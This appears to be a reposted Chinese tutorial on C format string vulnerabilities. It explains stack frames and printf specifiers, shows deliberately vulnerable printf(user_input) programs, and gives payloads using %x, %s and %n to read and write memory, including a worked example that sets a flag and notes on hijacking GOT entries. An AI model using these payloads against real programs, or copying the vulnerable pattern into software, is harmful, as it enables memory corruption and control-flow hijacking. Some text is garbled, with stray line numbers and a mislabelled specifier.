格式化字符串



格式化字符串漏洞是一個很古老的漏洞了,現在幾乎已經見不到這類漏洞的身影,但是作為漏洞分析的初學者來說,還是很有必要研究一下的


(A)基礎知識——棧

棧 其實是一種數據結構,棧中的數據是先進后出(First In Last Out),常見的操作有兩種:壓棧(PUSH)和彈棧(POP),用於標識棧屬性的也有兩個:棧頂(TOP)和棧底(BASE)。PUSH:為棧增加一個元素。POP:從棧中取出一個元素。TOP:標識棧頂的位置,並且是動態變化的,每進行一次push操作,它會自增1,反之,每進行一次pop操作,它會自減1

BASE:標識棧底位置,它的位置是不會變動的。


接下來我們將介紹一個新的名詞:棧幀。當函數被調用時,系統棧會為這個函數開辟一個新的棧幀,這個棧幀 中的內存空間被它所屬的函數獨占,當函數返回時,系統棧會彈出該函數所對應的棧幀。32位系統下提供了兩個特殊的寄存器(ESP和EBP)識棧幀。
- ESP:棧指針寄存器,存放一個指針,該指針指向棧頂。
- EBP:基址指針寄存器,存放一個指針,該指針指向棧底。


CPU利用EBP(不是ESP)寄存器來訪問棧內局部變量、參數、函數返回地址,程序運行過程中,ESP寄存器的值隨時變化,如果以ESP的值為基 准對棧內的局部變量、參數、返回地址進行訪問顯然是不可能的,所以在進行函數調用時,先把用作基准的ESP的值保存到EBP,這樣以后無論ESP如何變 化,都能夠以EBP為基准訪問到局部變量、參數以及返回地址。接下來將編譯上述代碼並進行調試,從而進一步了解函數調用以及參數傳遞的過程。










2.1 什么是格式化字符串?printf ("The magic number is: %d", 1911);
試觀察運行以上語句,會發現字符串"The magic number is: %d"中的格式符%d被參數(1911)替換,因此輸出變成了“The magic number is: 1911”。 格式化字符串大致就是這么一回事啦。除了表示十進制數的%d,還有不少其他形式的格式符,一起來認識一下吧~格式符含義含義(英)傳%d十進制數(int)decimal值%u無符號十進制數 (unsigned int)unsigned decimal值%x十六進制數 (unsigned int)hexadecimal值%s字符串 ((const) (unsigned) char *)string引用(指針)%n%n符號以前輸入的字符數量 (* int)number of bytes written so far引用(指針)
(靈活運用$hn,$hhn等兄弟格式符來寫入一個字,一個字節的內容)
%p       - 指針 - 指針地址


讀:“$    如果我們輸入printf("%100$x"),程序就會以16進制輸出棧上偏移位置為100的內存所存放的內容








( * %n的使用將在1.5節中做出說明)2.2 棧與格式化字符串格式化函數的行為由格式化字符串控制,printf函數從棧上取得參數。printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c); 

![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(12).png)


2.3 如果參數數量不匹配會發生什么?如果只有一個不匹配會發生什么?printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b);
在上面的例子中格式字符串需要3個參數,但程序只提供了2個。該程序能夠通過編譯么?printf()是一個參數長度可變函數。因此,僅僅看參數數量是看不出問題的。為了查出不匹配,編譯器需要了解printf()的運行機制,然而編譯器通常不做這類分析。有些時候,格式字符串並不是一個常量字符串,它在程序運行期間生成(比如用戶輸入),因此,編譯器無法發現不匹配。那么printf()函數自身能檢測到不匹配么?printf()從棧上取得參數,如果格式字符串需要3個參數,它會從棧上取3個,除非棧被標記了邊界,printf()並不知道自己是否會用完提供的所有參數。既然沒有那樣的邊界標記。printf()會持續從棧上抓取數據,在一個參數數量不匹配的例子中,它會抓取到一些不屬於該函數調用到的數據。如果有人特意准備數據讓printf抓取會發生什么呢?2.4 訪問任意位置內存我們需要得到一段數據的內存地址,但我們無法修改代碼,供我們使用的只有格式字符串。如果我們調用 printf(%s) 時沒有指明內存地址, 那么目標地址就可以通過printf函數,在棧上的任意位置獲取。printf函數維護一個初始棧指針,所以能夠得到所有參數在棧中的位置觀察: 格式字符串位於棧上. 如果我們可以把目標地址編碼進格式字符串,那樣目標地址也會存在於棧上,在接下來的例子里,格式字符串將保存在棧上的緩沖區中。
int main(int argc, char *argv[])

{

    char user_input[100];

    ... ... /* other variable definitions and statements */
    scanf("%s", user_input); /* getting a string from user */    printf(user_input); /* Vulnerable place */

    return 0;

}
如果我們讓printf函數得到格式字符串中的目標內存地址 (該地址也存在於棧上), 我們就可以訪問該地址.printf ("\x10\x01\x48\x08 %x %x %x %x %s");
\x10\x01\x48\x08 是目標地址的四個字節, 在C語言中, \x10 告訴編譯器將一個16進制數0x10放於當前位置(占1字節)。如果去掉前綴\x10就相當於兩個ascii字符1和0了,這就不是我們所期望的結果了。%x 導致棧指針向格式字符串的方向移動(參考1.2節)下圖解釋了攻擊方式,如果用戶輸入中包含了以下格式字符串 
![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(13).png)
如圖所示,我們使用四個%x來移動printf函數的棧指針到我們存儲格式字符串的位置,一旦到了目標位置,我們使用%s來打印,它會打印位於地址0x10014808的內容,因為是將其作為字符串來處理,所以會一直打印到結束符為止。user_input數組到傳給printf函數參數的地址之間的棧空間不是為了printf函數准備的。但是,因為程序本身存在格式字符串漏洞,所以printf會把這段內存當作傳入的參數來匹配%x。最大的挑戰就是想方設法找出printf函數棧指針(函數取參地址)到user_input數組的這一段距離是多少,這段距離決定了你需要在%s之前輸入多少個%x。
2.5 在內存中寫一個數字%n: 該符號前輸入的字符數量會被存儲到對應的參數中去int i;
printf ("12345%n", &i);
數字5(%n前的字符數量)將會被寫入i 中運用同樣的方法在訪問任意地址內存的時候,我們可以將一個數字寫入指定的內存中。只要將上一小節(1.4)的%s替換成%n就能夠覆蓋0x10014808的內容。利用這個方法,攻擊者可以做以下事情:重寫程序標識控制訪問權限重寫棧或者函數等等的返回地址然而,寫入的值是由%n之前的字符數量決定的。真的有辦法能夠寫入任意數值么?用最古老的計數方式, 為了寫1000,就填充1000個字符吧。為了防止過長的格式字符串,我們可以使用一個寬度指定的格式指示器。(比如(%0數字x)就會左填充預期數量的0符號)




(B)格式化字符串原理
       什么是格式化字符串呢,print()、fprint()等*print()系列的函數可以按照一定的格式將數據進行輸出

       結構:%[標志][輸出最小寬度][.精度][長度]類型


     格式化字符串漏洞有關系的主要有以下幾點:
     1、輸出最小寬度:用十進制整數來表示輸出的最少位數。若實際位數多於定義的寬度,則按實際位數輸出,若實際位數少於定義的寬度則補以空格或0。


     2、類型:
     - d 表示輸出十進制整數*


     - s 從內存中讀取字符串*


     - x 輸出十六進制數*


     - n 輸出十六進制數
     
     出現漏洞的情況:
          printf(str)——正常使用應該是:printf(“format”,str);
          因為沒有輸入format參數,所以可能導致在str中的故意構造的format參數被認為是調用format函數中給出的format





     對於格式化字符串來說,本質還是任意地址的讀寫,可以用來修改got、ret_addr去控制程序流程,還可以 多次利用格式串,把shellcode一個字節一個字節寫到一個 w+x 的內存地址去,然后修改got跳過去執行。
     但是如果格式化字符串不在棧中呢?如果不在棧中,那么就不能通過 %*$ 這樣的方式去定位,增大了利用難度,在看了phrack的文章,了解到了一種姿勢:假如要把 sleep@got 修改成 system@got ,可以先利用格式串把sleep@got先寫到當前ebp指向,然后再次利用,把這個改掉,因為都是在 got表中,所以只需要改最后兩個字節(x86)。 這樣的話就實現了 不在棧中格式串的利用了。






(C)攻擊方式


     (1)利用printf()函數的參數個數不固定——數組越界訪問
     正常程序:
#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}
          


     改過的程序:
1

printf("%s %d %d %d %x\n",buf,a,b,c),編譯后運行:
1
2
3
4
5
6
7

bingtangguan@ubuntu:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
format.c: In function ‘main’:
format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
 printf("%s %d %d %d %x\n",buf,a,b,c);
 ^
bingtangguan@ubuntu:~/Desktop/format$ ./format1
test 1 2 3 c30000
         這個C3000是參數壓棧后面的一個地址的內容
          ![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(14).png)






     (2)利用printf()來讀取任意地址讀取
          剛剛那個情況可以利用的情況有限
          現在我們要實現任意地址讀取

1
2
3
4
5
6
7
8

#include <stdio.h>
int main(int argc, char *argv[])
{
    char str[200];
    fgets(str,200,stdin);
    printf(str);
    return 0;
}
gdb調試,單步運行完call   0x8048340 <fgets@plt>后輸入:
AAAA%08x%08x%08x%08x%08x%08x(%08x的意義:最少輸出8位,如果不夠補0,超過就不管,x代表16進制)然后我們執行到printf()函數,觀察此時的棧區,特別注意一下0x41414141(這是我們str的開始):
1
2
3
4

>>> x/10x $sp
0xbfffef70: 0xbfffef88  0x000000c8  0xb7fc1c20  0xb7e25438
0xbfffef80: 0x08048210  0x00000001  0x41414141  0x78383025
0xbfffef90: 0x78383025  0x78383025
繼續執行,看我們能獲得什么,我們成功的讀到了AAAA:
1

AAAA000000c8b7fc1c20b7e25438080482100000000141414141
        PS:輸出是從ebp+4開始進行讀取的
可以用%s來獲取指針指向的內存數據。那么我們就可以這么構造嘗試去獲取0x41414141地址上的數據:
\x41\x41\x41\x41%08x%08x%08x%08x%08x%s
     可以用%s來獲取指針指向的內存數據:
     那么我們就可以這么構造嘗試去獲取0x41414141地址上的數據:
     \x41\x41\x41\x41%08x%08x%08x%08x%08x%s




    (3) 利用%n格式符寫入數據
           %n是一個不經常用到的格式符,它的作用是把前面已經打印的長度寫入某個內存地址

1
2
3
4
5
6
7
8

#include <stdio.h>
main()
{
  int num=66666666;
  printf("Before: num = %d\n", num);
  printf("%d%n\n", num, &num);
  printf("After: num = %d\n", num);
}
可以發現我們用%n成功修改了num的值:
1
2
3
4

bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
66666666
After: num = 8


現在我們已經知道可以用構造的格式化字符串去訪問棧內的數據,並且可以利用%n向內存中寫入值,那我們是不是可以修改某一個函數的返回地址從而控制 程序執行流程呢,到了這一步細心的同學可能已經發現了,%n的作用只是將前面打印的字符串長度寫入到內存中,而我們想要寫入的是一個地址,而且這個地址是 很大的。這時候我們就需要用到printf()函數的第三個特性來配合完成地址的寫入。


(4)自定義打印字符串寬度
我們在上面的基礎部分已經有提到關於打印字符串寬度的問題,在格式符中間加上一個十進制整數來表示輸出的最少位數,若實際位數多於定義的寬度,則按實際位數輸出,若實際位數少於定義的寬度則補以空格或0。我們把上一段代碼做一下修改並看一下效果:
1
2
3
4
5
6
7
8

#include <stdio.h>
main()
{
  int num=66666666;
  printf("Before: num = %d\n", num);
  printf("%.100d%n\n", num, &num);
  printf("After: num = %d\n", num);
}
可以看到我們的num值被改為了100
1
2
3
4
5

bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100
看到這兒聰明的你肯定明白如何去覆蓋一個地址了吧,比如說我們要把0x8048000這個地址寫入內存,我們要做的就是把該地址對應的10進制134512640作為格式符控制寬度即可:
1
2

printf("%.134512640d%n\n", num, &num);
printf("After: num = %x\n", num);
可以看到,我們的num被成功修改為8048000
1
2
3
4
5
6

bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
中間的0省略...........
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 8048000


(D)實例
     (1)
     




1
2
3
4
5
6
7
8
9
10
11
12
13
14

#include <stdio.h>
int main(void)

int flag = 0;
int *p = &flag; 
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
    {
            printf("good!!\n");
    }
    return 0;
}
               要想得到good——需要將flag地址的內容寫為2000
               首先可以確定的是:
                    flag的地址和a都在同一個棧幀中,間隔應該差的是100(0x64)
                    但是flag 的具體位置可能不一定——需要泄露(如果沒有開ASRL和簡單)
                    可以通過“打印字符串寬度的問題,在格式符中間加上一個十進制整數來表示輸出的最少位數,若實際位數多於定義的寬度,則按實際位數輸出,若實際位數少於定義的寬度則補以空格或0”和%n來將目的地址的值改成2000
          
          反編譯看看flag的位置:%ebp-0x10
1
2
3

80484ac:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
 80484b3:   8d 45 f0                lea    -0x10(%ebp),%eax
 80484b6:   89 45 f4                mov    %eax,-0xc(%ebp
          通過前面介紹的泄露地址:
下面我們就可以直接運行程序,並輸入%x,然后獲取ESP+4地址內的值:
1
2
3

bingtangguan@ubuntu:~/Desktop/format$ ./test
%x
bffff024
          


那我們需要修改的地址就是:0xbffff024+0x64=0xbffff088


最后就是要在地址0xbffff088處寫入2000: \x88\xf0\xff\xbf%10x%10x%10x%1966x%n
     分析:2000很容易可以理解,但是為什么會把輸入的\x88\xf0\xff\xbf作為%n的地址呢?
          主要和棧有關:
          
     借用上面的圖:因為整個printf沒有format參數,當我們輸入整個字符串的時候,目的地址在最高位置,當讀到%n 的時候會將最高的地方的值作為%n的地址,所以會將2000寫入這個位置
     (借用其他博客上的話:當printf的format string是一個用戶可控的字符串時,如果其中包含有%d這樣特殊意義的字符時,printf就會根據format string的指示,把堆棧中接下來的地址作為余下的參數解釋,從而做出程序作者沒有預期的行為。)




(E)參考文章
     http://bobao.360.cn/learning/detail/695.html










免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM